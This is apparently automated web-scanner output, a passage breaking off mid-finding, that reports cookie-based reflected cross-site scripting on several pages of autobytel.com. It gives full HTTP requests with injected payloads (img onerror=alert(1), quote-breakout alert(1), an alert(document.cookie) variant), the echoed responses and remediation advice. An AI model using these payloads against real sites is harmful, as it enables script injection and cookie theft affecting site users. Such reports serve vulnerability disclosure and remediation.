GET /content/home/help/index.cfm/action/about HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=bf1d7"%3balert(1)//20912d36e15; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 8a98a<img%20src%3da%20onerror%3dalert(1)>bc5962624b5 was submitted in the PV_CT cookie. This input was echoed as 8a98a<img src=a onerror=alert(1)>bc5962624b5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/home/help/index.cfm/action/about HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=28a98a<img%20src%3da%20onerror%3dalert(1)>bc5962624b5; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7e558"%3balert(1)//8c064b049ab was submitted in the BDATALIST cookie. This input was echoed as 7e558";alert(1)//8c064b049ab in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm/action/contact HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c47e558"%3balert(1)//8c064b049ab; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 475cb"%3balert(1)//29f7f8885d8 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 475cb";alert(1)//29f7f8885d8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm/action/contact HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=475cb"%3balert(1)//29f7f8885d8; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 7f46e<img%20src%3da%20onerror%3dalert(1)>c81dcfa2ffc was submitted in the PV_CT cookie. This input was echoed as 7f46e<img src=a onerror=alert(1)>c81dcfa2ffc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/home/help/index.cfm/action/contact HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=27f46e<img%20src%3da%20onerror%3dalert(1)>c81dcfa2ffc; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 843c9"%3balert(1)//e157ea299fe was submitted in the BDATALIST cookie. This input was echoed as 843c9";alert(1)//e157ea299fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm/action/privacy HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4843c9"%3balert(1)//e157ea299fe; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5b24b"%3balert(1)//162a2e92347 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 5b24b";alert(1)//162a2e92347 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm/action/privacy HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=5b24b"%3balert(1)//162a2e92347; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 47ac3<img%20src%3da%20onerror%3dalert(1)>c8905b9d6f3 was submitted in the PV_CT cookie. This input was echoed as 47ac3<img src=a onerror=alert(1)>c8905b9d6f3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/home/help/index.cfm/action/privacy HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=247ac3<img%20src%3da%20onerror%3dalert(1)>c8905b9d6f3; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1dc34"%3balert(1)//4bbdb493743 was submitted in the BDATALIST cookie. This input was echoed as 1dc34";alert(1)//4bbdb493743 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm/action/terms HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c41dc34"%3balert(1)//4bbdb493743; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0310"%3balert(1)//caca1cfb7f6 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as c0310";alert(1)//caca1cfb7f6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm/action/terms HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=c0310"%3balert(1)//caca1cfb7f6; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 60e75<img%20src%3da%20onerror%3dalert(1)>6e38586f4bb was submitted in the PV_CT cookie. This input was echoed as 60e75<img src=a onerror=alert(1)>6e38586f4bb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/home/help/index.cfm/action/terms HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=260e75<img%20src%3da%20onerror%3dalert(1)>6e38586f4bb; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 599a6"%3balert(1)//afa2457dd78 was submitted in the BDATALIST cookie. This input was echoed as 599a6";alert(1)//afa2457dd78 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4599a6"%3balert(1)//afa2457dd78; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6bb2e"%3balert(1)//5a9a12890a1 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 6bb2e";alert(1)//5a9a12890a1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=6bb2e"%3balert(1)//5a9a12890a1; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload f9c2d<img%20src%3da%20onerror%3dalert(1)>7f9bbd4f348 was submitted in the PV_CT cookie. This input was echoed as f9c2d<img src=a onerror=alert(1)>7f9bbd4f348 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/home/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2f9c2d<img%20src%3da%20onerror%3dalert(1)>7f9bbd4f348; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2510"%3balert(1)//bdab59c776c was submitted in the BDATALIST cookie. This input was echoed as c2510";alert(1)//bdab59c776c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/Reviews/index.cfm/action/addCtdStep1/reviewDo/Read/ HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4c2510"%3balert(1)//bdab59c776c; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4c9e2"%3balert(1)//ac77fd474aa was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 4c9e2";alert(1)//ac77fd474aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/Reviews/index.cfm/action/addCtdStep1/reviewDo/Read/ HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=4c9e2"%3balert(1)//ac77fd474aa; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 1d4b6<img%20src%3da%20onerror%3dalert(1)>cd22f64f11e was submitted in the PV_CT cookie. This input was echoed as 1d4b6<img src=a onerror=alert(1)>cd22f64f11e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/research/Reviews/index.cfm/action/addCtdStep1/reviewDo/Read/ HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=21d4b6<img%20src%3da%20onerror%3dalert(1)>cd22f64f11e; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cff9f"%3balert(1)//537a25459db was submitted in the BDATALIST cookie. This input was echoed as cff9f";alert(1)//537a25459db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
